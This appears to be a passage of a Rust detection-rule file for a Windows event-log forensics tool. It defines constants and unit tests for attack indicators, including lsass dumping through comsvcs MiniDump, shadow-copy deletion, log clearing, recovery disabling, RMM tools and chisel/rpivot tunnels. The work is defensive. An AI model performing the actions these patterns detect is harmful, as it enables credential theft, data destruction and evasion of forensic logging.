/// near-zero-FP — rundll32 is the only normal caller of comsvcs MiniDump, and
/// legitimate callers specify process names, not lsass.
pub const COMSVCS_MINIDUMP_PATTERNS: &[&str] = &[
    "comsvcs.dll",
    "comsvcs",
    "MiniDump",
    "minidump",
];

// ── RMM tool installer basenames ──────────────────────────────────────────────

/// Process basenames for remote monitoring and management (RMM) tools.
/// Installation of these tools outside `C:\Program Files\` or
/// `C:\Program Files (x86)\` by a non-IT parent process is suspicious (T1219).
pub const RMM_BINARY_NAMES: &[&str] = &[
    "anydesk.exe",
    "atera_agent.exe",
    "ateraagent.exe",
    "splashtop_remote_svc.exe",
    "srservice.exe",            // Splashtop Remote Service
    "screenconnect.windowsclient.exe",
    "screenconnect.clientservice.exe",
    "connectwisecontrol.client.exe",
    "teamviewer.exe",
    "teamviewer_service.exe",
    "ninjarmm-agent.exe",
    "ninjaagent.exe",
    "kaseya.exe",
    "kaseyaendpoint.exe",
    "lmiignition.exe",          // LogMeIn
    "lmiguardiansvc.exe",
    "gotomypc.exe",
    "isllight.exe",             // ISL Online
    "remotepc.exe",
    "supremo.exe",
    "pulseway.exe",
    "pulsewayservice.exe",
];

/// Path prefixes for legitimate RMM tool installation directories.
/// A drop of any `RMM_BINARY_NAMES` binary outside these paths is suspicious.
pub const RMM_SAFE_INSTALL_PATHS: &[&str] = &[
    "C:\\Program Files\\",
    "C:\\Program Files (x86)\\",
];

// ── RDP registry enable key fragment ─────────────────────────────────────────

/// Registry value that controls Terminal Services / RDP access.
/// Setting this to 0 enables RDP (T1021.001 / T1112).
pub const RDP_FDENYTSC_KEY_FRAGMENT: &str = "fDenyTSConnections";

// ── SMB admin share names (T1021.002) ────────────────────────────────────────

/// Windows built-in administrative share names (case-insensitive match).
/// Access to these shares from a remote IP (not localhost) is a lateral movement
/// signal (T1021.002 — SMB/Windows Admin Shares). EID 5140 records the share
/// name in the `ShareName` field as `\\*\ADMIN$`, `\\*\C$`, etc.
pub const ADMIN_SHARE_NAMES: &[&str] = &[
    "ADMIN$", // default admin share mapping to %SystemRoot%
    "IPC$",   // inter-process communication share (required for any remote admin)
    "C$",     // drive root shares — used directly by lateral movement tools
    "D$",
    "E$",
    "F$",
    "G$",
    "H$",
];

// ── User shell parent processes (T1204.002) ───────────────────────────────────

/// Process basenames that represent the interactive Windows shell.
/// When one of these is the `ParentImage` of a LOLBin process-create event,
/// it indicates a user double-clicked something (LNK, script, attachment) that
/// launched the LOLBin — the canonical T1204.002 signal (User Execution).
/// `explorer.exe` is the primary shell; `cmd.exe` and `powershell.exe` can also
/// act as user-interactive parents but have too many legitimate uses at that level
/// to be included without additional context filtering.
pub const SHELL_PARENT_PROCESS_NAMES: &[&str] = &[
    "explorer.exe",
];

// ── Tests ─────────────────────────────────────────────────────────────────────
#[cfg(test)]
mod tests {
    use super::*;

    // ── Constants ────────────────────────────────────────────────────────────

    #[test]
    fn reserved_event_id_max_is_zero() {
        assert_eq!(RESERVED_EVENT_ID_MAX, 0);
    }

    #[test]
    fn low_volume_channel_max_records_is_ten() {
        assert_eq!(LOW_VOLUME_CHANNEL_MAX_RECORDS, 10);
    }

    #[test]
    fn rare_source_id_pair_max_is_three() {
        assert_eq!(RARE_SOURCE_ID_PAIR_MAX, 3);
    }

    #[test]
    fn big_three_contains_security_system_application() {
        assert!(BIG_THREE_CHANNELS.contains(&"Security"));
        assert!(BIG_THREE_CHANNELS.contains(&"System"));
        assert!(BIG_THREE_CHANNELS.contains(&"Application"));
        assert_eq!(BIG_THREE_CHANNELS.len(), 3);
    }

    // ── is_reserved_event_id ─────────────────────────────────────────────────

    #[test]
    fn event_id_zero_is_reserved() {
        // Per Carvey 2023: threat-actor tools emit every record as ID 0.
        assert!(is_reserved_event_id(0));
    }

    #[test]
    fn event_id_one_is_not_reserved() {
        assert!(!is_reserved_event_id(1));
    }

    #[test]
    fn event_id_4624_logon_is_not_reserved() {
        // The classic "successful login" event — must not flag.
        assert!(!is_reserved_event_id(4624));
    }

    #[test]
    fn event_id_max_is_not_reserved() {
        assert!(!is_reserved_event_id(u32::MAX));
    }

    // ── is_low_volume_channel ────────────────────────────────────────────────

    #[test]
    fn empty_channel_is_low_volume() {
        // The post's KMS example: "not populated on any of them".
        assert!(is_low_volume_channel(0));
    }

    #[test]
    fn channel_with_ten_records_is_low_volume() {
        assert!(is_low_volume_channel(10));
    }

    #[test]
    fn channel_with_eleven_records_is_not_low_volume() {
        assert!(!is_low_volume_channel(11));
    }

    #[test]
    fn busy_channel_is_not_low_volume() {
        // Security.evtx with thousands of records — must not flag.
        assert!(!is_low_volume_channel(50_000));
    }

    // ── is_rare_source_id_pair ───────────────────────────────────────────────

    #[test]
    fn zero_occurrence_pair_is_not_rare() {
        // A pair seen zero times doesn't exist in the collection.
        assert!(!is_rare_source_id_pair(0));
    }

    #[test]
    fn single_occurrence_pair_is_rare() {
        assert!(is_rare_source_id_pair(1));
    }

    #[test]
    fn three_occurrence_pair_is_rare() {
        assert!(is_rare_source_id_pair(3));
    }

    #[test]
    fn four_occurrence_pair_is_not_rare() {
        assert!(!is_rare_source_id_pair(4));
    }

    #[test]
    fn very_common_pair_is_not_rare() {
        assert!(!is_rare_source_id_pair(10_000));
    }

    // ── is_big_three_channel / is_overlooked_channel ─────────────────────────

    #[test]
    fn security_is_big_three() {
        assert!(is_big_three_channel("Security"));
    }

    #[test]
    fn system_is_big_three() {
        assert!(is_big_three_channel("System"));
    }

    #[test]
    fn application_is_big_three() {
        assert!(is_big_three_channel("Application"));
    }

    #[test]
    fn big_three_match_is_case_insensitive() {
        assert!(is_big_three_channel("security"));
        assert!(is_big_three_channel("SYSTEM"));
        assert!(is_big_three_channel("ApPlIcAtIoN"));
    }

    #[test]
    fn key_management_service_is_overlooked() {
        // The post's headline example.
        assert!(is_overlooked_channel("Key Management Service"));
    }

    #[test]
    fn microsoft_windows_powershell_operational_is_overlooked() {
        assert!(is_overlooked_channel(
            "Microsoft-Windows-PowerShell/Operational"
        ));
    }

    #[test]
    fn security_is_not_overlooked() {
        assert!(!is_overlooked_channel("Security"));
    }

    #[test]
    fn empty_channel_name_is_overlooked() {
        // Defensive: empty string is not in the Big Three.
        assert!(is_overlooked_channel(""));
    }

    // ── Super-timeline channels ───────────────────────────────────────────────

    #[test]
    fn super_timeline_channels_has_five_entries() {
        assert_eq!(SUPER_TIMELINE_CHANNELS.len(), 5);
    }

    #[test]
    fn super_timeline_channels_includes_security_and_system() {
        assert!(SUPER_TIMELINE_CHANNELS.contains(&"Security"));
        assert!(SUPER_TIMELINE_CHANNELS.contains(&"System"));
    }

    #[test]
    fn super_timeline_channels_includes_sysmon() {
        assert!(SUPER_TIMELINE_CHANNELS.contains(&SYSMON_CHANNEL));
    }

    #[test]
    fn super_timeline_channels_includes_powershell_and_taskscheduler() {
        assert!(SUPER_TIMELINE_CHANNELS.contains(&POWERSHELL_OPERATIONAL_CHANNEL));
        assert!(SUPER_TIMELINE_CHANNELS.contains(&TASKSCHEDULER_OPERATIONAL_CHANNEL));
    }

    #[test]
    fn sysmon_channel_name_is_correct() {
        assert_eq!(SYSMON_CHANNEL, "Microsoft-Windows-Sysmon/Operational");
    }

    // ── Sysmon EIDs ──────────────────────────────────────────────────────────

    #[test]
    fn sysmon_process_create_is_eid_1() {
        assert_eq!(EID_SYSMON_PROCESS_CREATE, 1);
    }

    #[test]
    fn sysmon_file_create_is_eid_11() {
        assert_eq!(EID_SYSMON_FILE_CREATE, 11);
    }

    #[test]
    fn sysmon_file_create_stream_hash_is_eid_15() {
        assert_eq!(EID_SYSMON_FILE_CREATE_STREAM_HASH, 15);
    }

    // ── Boot / shutdown EIDs ─────────────────────────────────────────────────

    #[test]
    fn eid_boot_is_6005() {
        assert_eq!(EID_BOOT, 6005);
    }

    #[test]
    fn eid_shutdown_is_6006() {
        assert_eq!(EID_SHUTDOWN, 6006);
    }

    #[test]
    fn eid_unexpected_shutdown_is_6008() {
        assert_eq!(EID_UNEXPECTED_SHUTDOWN, 6008);
    }

    // ── Sysmon field names ────────────────────────────────────────────────────

    #[test]
    fn sysmon_field_process_guid_is_correct() {
        assert_eq!(SYSMON_FIELD_PROCESS_GUID, "ProcessGuid");
    }

    #[test]
    fn sysmon_field_target_filename_is_correct() {
        assert_eq!(SYSMON_FIELD_TARGET_FILENAME, "TargetFilename");
    }

    // ── Security EID constants ────────────────────────────────────────────────

    #[test]
    fn eid_logon_is_4624() {
        assert_eq!(EID_LOGON, 4624);
    }

    #[test]
    fn eid_special_logon_is_4672() {
        assert_eq!(EID_SPECIAL_LOGON, 4672);
    }

    #[test]
    fn eid_process_create_is_4688() {
        assert_eq!(EID_PROCESS_CREATE, 4688);
    }

    // ── New Sysmon EIDs ──────────────────────────────────────────────────────

    #[test]
    fn sysmon_driver_load_is_eid_6() {
        assert_eq!(EID_SYSMON_DRIVER_LOAD, 6);
    }

    #[test]
    fn sysmon_registry_add_is_eid_12() {
        assert_eq!(EID_SYSMON_REGISTRY_ADD, 12);
    }

    #[test]
    fn sysmon_registry_modify_is_eid_13() {
        assert_eq!(EID_SYSMON_REGISTRY_MODIFY, 13);
    }

    #[test]
    fn sysmon_file_delete_detected_is_eid_26() {
        assert_eq!(EID_SYSMON_FILE_DELETE_DETECTED, 26);
    }

    #[test]
    fn scm_service_state_change_is_eid_7036() {
        assert_eq!(EID_SCM_SERVICE_STATE_CHANGE, 7036);
    }

    // ── WebClient service ────────────────────────────────────────────────────

    #[test]
    fn webclient_service_name_is_correct() {
        assert_eq!(WEBCLIENT_SERVICE_NAME, "WebClient");
    }

    // ── WebDAV LOLBins — certutil and pcalua added ────────────────────────────

    #[test]
    fn webdav_lol_processes_includes_certutil() {
        assert!(
            WEBDAV_LOL_PROCESSES.contains(&"certutil.exe"),
            "certutil.exe must be in WEBDAV_LOL_PROCESSES"
        );
    }

    #[test]
    fn webdav_lol_processes_includes_pcalua() {
        assert!(
            WEBDAV_LOL_PROCESSES.contains(&"pcalua.exe"),
            "pcalua.exe must be in WEBDAV_LOL_PROCESSES"
        );
    }

    // ── DLL sideload constants ───────────────────────────────────────────────

    #[test]
    fn sideload_hijack_dlls_includes_srvcli() {
        assert!(SIDELOAD_HIJACK_DLLS.contains(&"srvcli.dll"));
    }

    #[test]
    fn sideload_hijack_dlls_includes_netutils() {
        assert!(SIDELOAD_HIJACK_DLLS.contains(&"netutils.dll"));
    }

    #[test]
    fn system_dll_safe_paths_includes_system32() {
        assert!(SYSTEM_DLL_SAFE_PATH_PREFIXES.iter().any(|p| p.contains("System32")));
    }

    // ── AD Explorer tombstone ────────────────────────────────────────────────

    #[test]
    fn adexplorer_key_fragment_is_correct() {
        assert_eq!(
            ADEXPLORER_EULAACCEPTED_KEY_FRAGMENT,
            "Sysinternals\\Active Directory Explorer"
        );
    }

    // ── Zemana thumbprint ────────────────────────────────────────────────────

    #[test]
    fn zemana_thumbprint_is_40_hex_chars() {
        assert_eq!(ZEMANA_SIGNER_THUMBPRINT.len(), 40);
        assert!(
            ZEMANA_SIGNER_THUMBPRINT.chars().all(|c| c.is_ascii_hexdigit()),
            "Zemana thumbprint must be hex digits only"
        );
    }

    // ── Tunnel tool indicators ───────────────────────────────────────────────

    #[test]
    fn chisel_indicators_includes_socks5() {
        assert!(CHISEL_CMDLINE_INDICATORS.contains(&"socks5"));
    }

    #[test]
    fn rpivot_indicators_includes_cl_py() {
        assert!(RPIVOT_CMDLINE_INDICATORS.contains(&"cl.py"));
    }

    #[test]
    fn rpivot_indicators_includes_headless() {
        assert!(RPIVOT_CMDLINE_INDICATORS.contains(&"--headless"));
    }

    // ── 7-Zip staging ────────────────────────────────────────────────────────

    #[test]
    fn archiver_header_encrypt_flag_is_mhe() {
        assert_eq!(ARCHIVER_HEADER_ENCRYPT_FLAG, "-mhe");
    }

    #[test]
    fn staging_parent_images_includes_pcalua() {
        assert!(STAGING_PARENT_IMAGES.contains(&"pcalua.exe"));
    }

    #[test]
    fn staging_parent_images_includes_wmiprvse() {
        assert!(STAGING_PARENT_IMAGES.contains(&"WmiPrvSE.exe"));
    }

    // ── Browser-update task patterns ─────────────────────────────────────────

    #[test]
    fn browser_update_patterns_includes_google() {
        assert!(BROWSER_UPDATE_TASK_PATTERNS.iter().any(|p| p.contains("GoogleUpdateTask")));
    }

    #[test]
    fn browser_update_patterns_includes_edge() {
        assert!(BROWSER_UPDATE_TASK_PATTERNS.iter().any(|p| p.contains("MicrosoftEdgeUpdate")));
    }

    // ── Cloudflare Workers C2 ────────────────────────────────────────────────

    #[test]
    fn workers_dev_suffix_is_correct() {
        assert_eq!(CLOUDFLARE_WORKERS_DOMAIN_SUFFIX, ".workers.dev");
    }

    #[test]
    fn browser_process_names_includes_chrome() {
        assert!(BROWSER_PROCESS_NAMES.contains(&"chrome.exe"));
    }

    #[test]
    fn browser_process_names_includes_edge() {
        assert!(BROWSER_PROCESS_NAMES.contains(&"msedge.exe"));
    }

    // ── WMI Impacket indicators ──────────────────────────────────────────────

    #[test]
    fn wmi_impacket_indicators_not_empty() {
        assert!(!WMI_IMPACKET_INDICATORS.is_empty());
    }

    #[test]
    fn wmi_impacket_indicators_includes_admin_share_pattern() {
        assert!(WMI_IMPACKET_INDICATORS.iter().any(|s| s.contains("ADMIN$")));
    }

    // ── System channel ───────────────────────────────────────────────────────

    #[test]
    fn system_channel_is_correct() {
        assert_eq!(SYSTEM_CHANNEL, "System");
    }

    // ── Account management EIDs ──────────────────────────────────────────────

    #[test]
    fn eid_user_account_created_is_4720() {
        assert_eq!(EID_USER_ACCOUNT_CREATED, 4720);
    }

    #[test]
    fn eid_user_added_to_local_group_is_4732() {
        assert_eq!(EID_USER_ADDED_TO_LOCAL_GROUP, 4732);
    }

    #[test]
    fn local_admins_group_sid_is_correct() {
        assert_eq!(LOCAL_ADMINS_GROUP_SID, "S-1-5-32-544");
    }

    // ── VSS deletion patterns ─────────────────────────────────────────────────

    #[test]
    fn vssadmin_patterns_include_delete_shadows() {
        assert!(
            VSSADMIN_SHADOW_DELETE_PATTERNS
                .iter()
                .any(|p| p.contains("delete shadow")),
            "must include 'delete shadows' variant"
        );
    }

    #[test]
    fn wmic_patterns_include_shadowcopy_delete() {
        assert!(
            WMIC_SHADOW_DELETE_PATTERNS
                .iter()
                .any(|p| p.contains("shadowcopy")),
            "must include 'shadowcopy delete' variant"
        );
    }

    // ── bcdedit recovery patterns ─────────────────────────────────────────────

    #[test]
    fn bcdedit_patterns_include_recoveryenabled_no() {
        assert!(
            BCDEDIT_RECOVERY_DISABLE_PATTERNS
                .iter()
                .any(|p| p.contains("recoveryenabled")),
            "must include 'recoveryenabled no'"
        );
    }

    #[test]
    fn bcdedit_patterns_include_bootstatuspolicy() {
        assert!(
            BCDEDIT_RECOVERY_DISABLE_PATTERNS
                .iter()
                .any(|p| p.contains("bootstatuspolicy")),
            "must include 'bootstatuspolicy ignoreallfailures'"
        );
    }

    // ── wevtutil / log-clear patterns ─────────────────────────────────────────

    #[test]
    fn wevtutil_clear_substrings_not_empty() {
        assert!(!WEVTUTIL_CLEAR_SUBSTRINGS.is_empty());
    }

    #[test]
    fn ps_clear_eventlog_patterns_include_clear_eventlog() {
        assert!(
            PS_CLEAR_EVENTLOG_PATTERNS
                .iter()
                .any(|p| p.contains("Clear-EventLog")),
        );
    }

    // ── comsvcs MiniDump patterns ─────────────────────────────────────────────

    #[test]
    fn comsvcs_patterns_include_minidump() {
        assert!(
            COMSVCS_MINIDUMP_PATTERNS
                .iter()
                .any(|p| p.contains("MiniDump")),
            "must include 'MiniDump' substring"
        );
    }

    #[test]
    fn comsvcs_patterns_include_comsvcs_dll() {
        assert!(
            COMSVCS_MINIDUMP_PATTERNS
                .iter()
                .any(|p| p.contains("comsvcs")),
            "must include 'comsvcs.dll' substring"
        );
    }

    // ── RMM tool constants ────────────────────────────────────────────────────

    #[test]
    fn rmm_binary_names_includes_anydesk() {
        assert!(
            RMM_BINARY_NAMES
                .iter()
                .any(|n| n.to_lowercase().contains("anydesk")),
            "must include AnyDesk"
        );
    }

    #[test]
    fn rmm_binary_names_includes_teamviewer() {
        assert!(
            RMM_BINARY_NAMES
                .iter()
                .any(|n| n.to_lowercase().contains("teamviewer")),
            "must include TeamViewer"
        );
    }

    #[test]
    fn rmm_safe_paths_includes_program_files() {
        assert!(
            RMM_SAFE_INSTALL_PATHS
                .iter()
                .any(|p| p.contains("Program Files")),
            "must include Program Files as a safe path"
        );
    }

    // ── RDP enable key ────────────────────────────────────────────────────────

    #[test]
    fn rdp_fdenyts_key_is_correct() {
        assert_eq!(RDP_FDENYTSC_KEY_FRAGMENT, "fDenyTSConnections");
    }

    // ── Shell parent process names ────────────────────────────────────────────

    #[test]
    fn shell_parent_process_names_includes_explorer() {
        assert!(
            SHELL_PARENT_PROCESS_NAMES
                .iter()
                .any(|s| s.eq_ignore_ascii_case("explorer.exe")),
            "must include explorer.exe"
        );
    }

    #[test]
    fn shell_parent_process_names_is_nonempty() {
        assert!(!SHELL_PARENT_PROCESS_NAMES.is_empty(), "must not be empty");
    }

    // ── SMB admin share names ─────────────────────────────────────────────────

    #[test]
    fn admin_share_names_includes_admin_dollar() {
        assert!(
            ADMIN_SHARE_NAMES.iter().any(|s| s.eq_ignore_ascii_case("ADMIN$")),
            "must include ADMIN$"
        );
    }

    #[test]
    fn admin_share_names_includes_c_dollar() {
        assert!(
            ADMIN_SHARE_NAMES.iter().any(|s| s.eq_ignore_ascii_case("C$")),
            "must include C$"
        );
    }

    #[test]
    fn admin_share_names_includes_ipc_dollar() {
        assert!(
            ADMIN_SHARE_NAMES.iter().any(|s| s.eq_ignore_ascii_case("IPC$")),
            "must include IPC$"
        );
    }
}